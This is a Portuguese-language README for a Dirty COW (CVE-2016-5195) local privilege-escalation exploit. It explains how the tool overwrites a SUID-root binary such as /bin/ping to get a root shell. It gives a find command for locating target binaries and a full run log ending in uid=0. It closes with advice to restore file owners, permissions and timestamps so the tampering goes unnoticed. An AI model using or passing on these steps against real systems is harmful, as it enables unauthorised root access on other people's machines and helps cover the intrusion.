
Exemplo de exploit para CVE-2016-5195
Eu não sou responsável por nada que você fizer com este código. Este código não vem com nenhuma garantia.
Exploit para CVE-2016-5195 que mapeia um executável SUID somente leitura na memória (somente leitura) e
usa a condição de corrida para sobrescrevê-lo com um ELF de nossa escolha. Os payloads
estão disponíveis em formato NASM juntamente com o código do exploit(cowshell-x86.asm && cowshell-x86_64.asm), se
você quiser ver o que há dentro de cashm0ney.
O payload eleva privilégios com setuid(0), coloca 0 em vm.dirty_writeback_centisecs
para evitar a falha causada pelo writeback do sistema de arquivos e abre um shell(/bin/sh).
Esta versão não tenta gravar em /proc/self/mem, portanto deve
ser viável em máquinas CentOS/RHEL. Ainda depende de ptrace, então pode falhar se ptrace
estiver restrito no sistema alvo.
Encontre um executável SUID pertencente ao root para o qual seu usuário atual tenha pelo menos acesso de leitura:
find / -type f -perm 4755
meow@dirtytest:~/Desktop$ ./derpyc0w /bin/ping /tmp/ping [*] Opened /bin/ping [*] Backing up /bin/ping to /tmp/ping [*] File mapped at 0x0x7f0cbe7ce000 [*] Waiting for child to alert [*] Starting madvise thread. [*] Alerted by child. [*] Preparing to write 262 bytes [*] Trying to perform writes. [*] Wrote byte to 0 [*] Wrote byte to 1 [*] Wrote byte to 2 [*] Wrote byte to 3 [*] Wrote byte to 4 [*] Wrote byte to 5 [*] Wrote byte to 6 [*] Wrote byte to 7 [*] Wrote byte to 8 SNIP [*] Wrote byte to 259 [*] Wrote byte to 260 [*] Wrote byte to 261 [+] w00t, writes finished [+] Popping shell. Remember to restore /bin/ping from /tmp/ping with correct perms! # id uid=0(root) gid=1000(meow) groups=1000(meow),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),131(sambashare) #
Você deve restaurar o binário que foi sobrescrito para seu caminho original a partir do backup criado, e lembre-se de aplicar chown && chmod novamente para o proprietário e permissões corretos. Restaure também as datas de modificação com touch para completar a tríade.